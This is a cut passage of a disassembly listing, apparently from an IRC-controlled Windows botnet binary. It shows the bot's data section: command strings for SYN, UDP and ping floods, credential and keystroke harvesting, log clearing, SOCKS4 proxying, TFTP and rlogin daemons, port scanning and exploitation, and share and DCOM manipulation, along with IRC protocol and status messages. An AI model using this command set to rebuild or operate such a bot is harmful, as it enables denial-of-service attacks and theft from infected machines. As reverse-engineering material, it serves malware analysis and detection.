XREF: sub_40EE72+1690o align 4 aCom_key db 'com.key',0 ; DATA XREF: sub_40EE72+167Bo aCom_harvest db 'com.harvest',0 ; DATA XREF: sub_40EE72+1666o aCom_ps db 'com.ps',0 ; DATA XREF: sub_40EE72+1651o align 4 aCom_procs db 'com.procs',0 ; DATA XREF: sub_40EE72+163Co align 10h aIrc_rm0 db 'irc.rm0',0 ; DATA XREF: sub_40EE72+1627o aIrc_rem0ve db 'irc.rem0ve',0 ; DATA XREF: sub_40EE72+1612o align 4 aCom_si db 'com.si',0 ; DATA XREF: sub_40EE72+15FDo align 4 aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40EE72+15E8o unk_432648 db 2 ; DATA XREF: sub_40EE72+15DDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_28 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_432694 db 2 ; DATA XREF: sub_40EE72+156Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSFo_1 db ' Flooding: (%s:%s) for %s seconds.',0 aDdos_supersyn db 'ddos.supersyn',0 ; DATA XREF: sub_40EE72+14D8o align 4 aCom_ni db 'com.ni',0 ; DATA XREF: sub_40EE72+14C3o align 4 aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40EE72+14AEo aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40EE72+1499o align 4 aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40EE72+1484o align 4 aIrc_lg db 'irc.lg',0 ; DATA XREF: sub_40EE72+146Fo align 4 aIrc_log db 'irc.log',0 ; DATA XREF: sub_40EE72+145Ao aIrc_al db 'irc.al',0 ; DATA XREF: sub_40EE72+1445o align 4 aIrc_aliases db 'irc.aliases',0 ; DATA XREF: sub_40EE72+1430o aThreads_l db 'threads.l',0 ; DATA XREF: sub_40EE72+141Bo align 4 aThreads_list db 'threads.list',0 ; DATA XREF: sub_40EE72+1406o align 4 dword_432754 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+13D2o dd 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 4 dword_432788 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+13CBo dd 2BBBB02h aRebootingSyste db ' Rebooting system.',0 aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40EE72+13B4o align 10h aIrc_i db 'irc.i',0 ; DATA XREF: sub_40EE72+139Fo align 4 aIrc_id db 'irc.id',0 ; DATA XREF: sub_40EE72+138Ao align 10h aIrc_s db 'irc.s',0 ; DATA XREF: sub_40EE72+1375o align 4 aIrc_status db 'irc.status',0 ; DATA XREF: sub_40EE72+1360o align 4 aIrc_q db 'irc.q',0 ; DATA XREF: sub_40EE72+134Bo align 4 aIrc_quit db 'irc.quit',0 ; DATA XREF: sub_40EE72+1336o align 4 aIrc_d db 'irc.d',0 ; DATA XREF: sub_40EE72+1321o align 10h aIrc_disconnect db 'irc.disconnect',0 ; DATA XREF: sub_40EE72+130Co align 10h aIrc_r db 'irc.r',0 ; DATA XREF: sub_40EE72+12F7o align 4 aIrc_reconnect db 'irc.reconnect',0 ; DATA XREF: sub_40EE72+12E2o align 4 aRoot_st db 'root.st',0 ; DATA XREF: sub_40EE72+12CDo aRoot_stats db 'root.stats',0 ; DATA XREF: sub_40EE72+12B8o align 4 aExploitation db 'Exploitation',0 ; DATA XREF: sub_40EE72+12ADo align 4 aScan db 'Scan',0 ; DATA XREF: sub_40EE72+12A8o align 4 aRoot_stop db 'root.stop',0 ; DATA XREF: sub_40EE72+128Fo align 10h dword_432860 dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40EE72+1284o aSecure_0 db 'Secure',0 ; DATA XREF: sub_40EE72+127Fo align 4 aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40EE72+1266o align 4 dword_432888 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40EE72+125Bo aClone db 'Clone',0 ; DATA XREF: sub_40EE72+1256o align 10h aClone_off db 'clone.off',0 ; DATA XREF: sub_40EE72+123Do align 4 aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40EE72+1228o align 4 aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40EE72+1213o align 4 aUtil_ff_off db 'util.ff.off',0 ; DATA XREF: sub_40EE72+11FEo aUtil_findfile_ db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o align 4 dword_4328E8 dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+11DEo aDaemon_tftp_of db 'daemon.tftp.off',0 ; DATA XREF: sub_40EE72+11C0o dword_432904 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o dword_432910 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o dword_43291C dd 736F6464h, 6E69702Eh, 666F2E67h, 66h ; DATA XREF: sub_40EE72+1197o dword_43292C dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co dword_432938 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o dword_432944 dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+116Eo dword_432954 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o dword_432960 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo dword_43296C dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+1145o dword_43297C dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao dword_432988 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o dword_432994 dd 736F6464h, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+111Co dword_4329A0 dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o dword_4329B0 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40EE72+110Co aProxy_redirect db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o align 4 dword_4329D4 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o dword_4329E0 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40EE72+10E3o dword_4329EC dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40EE72+10CAo dword_4329F4 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+10C2o dword_432A00 dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o dword_432A10 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40EE72+109Co aDaemon_rlogin_ db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo align 4 dword_432A34 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40EE72+105Co aServer db 'Server',0 ; DATA XREF: sub_40EE72+1057o ; sub_40EE72+1097o ... align 4 aProxy_socks4_0 db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo align 10h aProxy_s4_on db 'proxy.s4.on',0 ; DATA XREF: sub_40EE72+1029o aProxy_socks4_o db 'proxy.socks4.on',0 ; DATA XREF: sub_40EE72+1014o aLd_off db 'ld.off',0 ; DATA XREF: sub_40EE72+FFFo align 4 aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40EE72+FEAo align 4 aLd_on db 'ld.on',0 ; DATA XREF: sub_40EE72+FD5o align 4 aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40EE72+FC0o aVer db 'ver',0 ; DATA XREF: sub_40EE72+FABo aIrc_version db 'irc.version',0 ; DATA XREF: sub_40EE72+F96o aLo db 'lo',0 ; DATA XREF: sub_40EE72+F81o align 4 aIrc_logout db 'irc.logout',0 ; DATA XREF: sub_40EE72+F6Co align 4 aIrc_di db 'irc.di',0 ; DATA XREF: sub_40EE72+F57o align 10h aIrc_die db 'irc.die',0 ; DATA XREF: sub_40EE72+F42o aRn db 'rn',0 ; DATA XREF: sub_40EE72+F2Do align 4 aIrc_rndnick db 'irc.rndnick',0 ; DATA XREF: sub_40EE72+F15o a63 db '63',0 ; DATA XREF: sub_40EE72+DEEo align 4 asc_432AEC: ; DATA XREF: sub_40EE72+DC6o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_40EE72+D89o align 4 aServer_0 db '$server',0 ; DATA XREF: sub_40EE72+D7Eo aRndnick db '$rndnick',0 ; DATA XREF: sub_40EE72+D6Do align 4 aChan db '$chan',0 ; DATA XREF: sub_40EE72+D51o align 4 aUser_2 db '$user',0 ; DATA XREF: sub_40EE72+D40o align 4 aMe_0 db '$me',0 ; DATA XREF: sub_40EE72+D2Eo aD db '$%d',0 ; DATA XREF: sub_40EE72+CC0o aD_0 db '$%d-',0 ; DATA XREF: sub_40EE72+C05o align 4 aC_0: ; DATA XREF: sub_40EE72+B19o unicode 0, <c>,0 dword_432B30 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AE4o dd 2BBBB02h aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0 dword_432B70 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AD6o dd 2BBBB02h aChatAlreadyAct db ' Chat already active with user: %s.',0 align 10h dword_432BB0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AC8o dd 2BBBB02h aFailedToSta_29 db ' Failed to start chat thread, error: <%d>.',0 dword_432BF4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+A59o dd 2BBBB02h aChatFromUserS_ db ' Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_40EE72+9BFo align 4 dword_432C2C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+99Co dd 2BBBB02h aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 dword_432C7C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+984o ; sub_40EE72+4ABCo dd 2BBBB02h aFailedToSta_30 db ' Failed to start transfer thread, error: <%d>.',0 dword_432CC4 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40EE72+973o dd 0A0Dh dword_432CDC dd 4E495001h, 47h ; DATA XREF: sub_40EE72+93Fo aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o align 10h dword_432D00 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40EE72+8DCo dd 0D017325h, 0Ah dword_432D1C dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40EE72+8ABo dword_432D28 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+791o dd 2BBBB02h aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0 aSend_0 db 'SEND',0 ; DATA XREF: sub_40EE72+6E8o align 4 dword_432D6C dd 43434401h, 0 ; DATA XREF: sub_40EE72+6CAo dword_432D74 dd 323333h ; DATA XREF: sub_40EE72+651o ; sub_40EE72+B4Fo ... dword_432D78 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5D2o dd 2BBBB02h aUserSLoggedOut db ' User: %s logged out.',0 align 4 dword_432DA8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5ABo dd 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_40EE72+574o aPart db 'PART',0 ; DATA XREF: sub_40EE72+526o ; sub_40EE72+5EFo align 4 aSS_0 db ':%s%s',0 ; DATA XREF: sub_40EE72+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_40EE72+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o ; sub_40EE72+613o dword_432E04 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+355o ; sub_40EE72+5FF4o ... dd 2BBBB02h aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: sub_40EE72+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+28Do ; sub_40EE72+4EB7o ... align 4 a433 db '433',0 ; DATA XREF: sub_40EE72+262o a@: ; DATA XREF: sub_40EE72+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40EE72+22Ao a005 db '005',0 ; DATA XREF: sub_40EE72+215o a001 db '001',0 ; DATA XREF: sub_40EE72+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o ; sub_40EE72+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_40EE72+1A9o align 10h asc_432E80: ; DATA XREF: sub_40EE72+19Ao ; sub_40EE72+60FBo unicode 0, <!>,0 asc_432E84 db ' :',0 ; DATA XREF: sub_40EE72+86o ; sub_40EE72:loc_40FA19o align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41518A+120o align 4 unk_432E94 db 2 ; DATA XREF: sub_41533B:loc_4153C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessListFai db 'Process list failed.',0 align 4 unk_432ECC db 2 ; DATA XREF: sub_41533B+80o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessListCom db 'Process list completed.',0 unk_432F04 db 2 ; DATA XREF: sub_41533B+19o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aListingProcess db 'Listing processes:',0 align 4 dword_432F38 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415669o dd 2029671Fh, 2BBBB02h aUserLoggedOutS db ' User logged out: <%s@%s>.',0 dword_432F70 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415642o dd 2029671Fh, 2BBBB02h aErrorSessionru db ' Error: SessionRun(): <%d>.',0 align 4 dword_432FAC dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415622o dd 2029671Fh, 2BBBB02h aUserLoggedInS@ db ' User logged in: <%s@%s>.',0 align 4 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F2o align 4 dword_432FF8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415561o dd 2029671Fh, 2BBBB02h aErrorGetpeerna db ' Error: getpeername(): <%d>.',0 align 4 dword_433034 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_415685:loc_4156CAo dd 2029671Fh, 2BBBB02h aProtocolString db ' Protocol string too long.',0 dword_43306C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4156DF+1Bo dd 2029671Fh, 2BBBB02h, 6F4C2020h, 206E6967h, 656A6572h dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh dd 2BBBB02h, 61462020h, 64656C69h, 206F7420h, 72617473h dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h dd 61657268h, 25203A64h, 2E64h, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h dd 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh dd 2029671Fh, 2BBBB02h, 61462020h, 64656C69h, 206F7420h dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh dd 2029671Fh, 2BBBB02h, 72452020h, 3A726F72h, 41535720h dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 2 dup(0) aConst db 'const',0 align 4 dd 0 dword_43327C dd 1 ; DATA XREF: sub_415D01+7o off_433280 dd offset sub_415996 ; DATA XREF: sub_415D01+49r aLetter db 'letter',0 align 10h dd 2, 4159F4h, 706D6F63h, 2 dup(0) dd 3, 415A41h, 6E756F63h, 797274h, 0 dd 4, 415ADFh, 736Fh, 2 dup(0) dd 5, 415B54h dword_4332D4 dd 69257325h, 0 ; DATA XREF: sub_415996+40o ; ___:00415AC0o ... byte_4332DC db 50h ; DATA XREF: ___:00415A63o ; ___:00415A70r db 43h, 2 dup(0) dword_4332E0 dd 7C7325h ; DATA XREF: ___:00415B0Eo ; sub_415D01+39o dword_4332E4 dd 5D73255Bh, 7Ch ; DATA XREF: ___:00415C18o dword_4332EC dd 334B32h ; DATA XREF: ___:00415C08o dword_4332F0 dd 5D64255Bh, 7325h ; DATA XREF: sub_415C5E+3Ao dword_4332F8 dd 5D4D5Bh ; DATA XREF: sub_415C5E+2Co ; sub_415C5E+57o unk_4332FC db 2 ; DATA XREF: sub_415D6A+92o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 db 2 db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 10h off_433370 dd offset dword_4333A8 ; DATA XREF: sub_415F88+1B3o ; sub_4162AC+17Ao align 8 dd offset dword_4333A0 align 10h off_433380 dd offset dword_43339C ; DATA XREF: sub_4162AC+1E3o dd offset dword_433398 dd offset dword_433394 dd offset dword_433390 dword_433390 dd 5C3A44h ; DATA XREF: sub_415F88+217o ; ___:0043338Co dword_433394 dd 2444h ; DATA XREF: ___:00433388o dword_433398 dd 5C3A43h ; DATA XREF: ___:00433384o dword_43339C dd 2443h ; DATA XREF: ___:off_433380o dword_4333A0 dd 494D4441h, 244Eh ; DATA XREF: ___:00433378o dword_4333A8 dd 24435049h, 0 ; DATA XREF: ___:off_433370o unk_4333B0 db 2 ; DATA XREF: sub_415F88+2E5o ; sub_4162AC+2DBo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 10h unk_4333F0 db 2 ; DATA XREF: sub_415F88+2CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 4 unk_433428 db 2 ; DATA XREF: sub_415F88:loc_4161EAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 4 unk_433464 db 2 ; DATA XREF: sub_415F88+25Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 4 unk_433498 db 2 ; DATA XREF: sub_415F88:loc_416157o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 4 unk_4334D4 db 2 ; DATA XREF: sub_415F88+1C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 4 unk_433508 db 2 ; DATA XREF: sub_415F88:loc_4160BAo ; sub_4162AC:loc_4163DAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_433548 db 2 ; DATA XREF: sub_415F88:loc_4160B3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 unk_433594 db 2 ; DATA XREF: sub_415F88:loc_416095o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 4 unk_4335D8 db 2 ; DATA XREF: sub_415F88+106o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_415F88+EDo ; sub_4162AC+EDo align 4 unk_433638 db 2 ; DATA XREF: sub_415F88+91o ; sub_4162AC+91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 4 dword_433678 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_415F88:loc_415FF5o dd 2202967h, 2002BBBBh, 4F434420h, 6964204Dh, 6C626173h dd 2E6465h unk_4336A4 db 2 ; DATA XREF: sub_415F88+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_415F88+54o ; sub_4162AC+54o align 4 word_4336E4 dw 4Eh ; DATA XREF: sub_415F88+38r align 4 unk_4336E8 db 2 ; DATA XREF: sub_4162AC+2C3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesA db ' Network shares added.',0 align 4 aC_1 db '%c:\',0 ; DATA XREF: sub_4162AC+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_4162AC+219o unk_433728 db 2 ; DATA XREF: sub_4162AC:loc_41644Bo ; sub_4162AC:loc_41651Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 10h unk_433760 db 2 ; DATA XREF: sub_4162AC+198o ; sub_4162AC+269o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 10h unk_433790 db 2 ; DATA XREF: sub_4162AC:loc_4163D3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 4 unk_4337DC db 2 ; DATA XREF: sub_4162AC:loc_4163B5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 unk_433820 db 2 ; DATA XREF: sub_4162AC+102o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 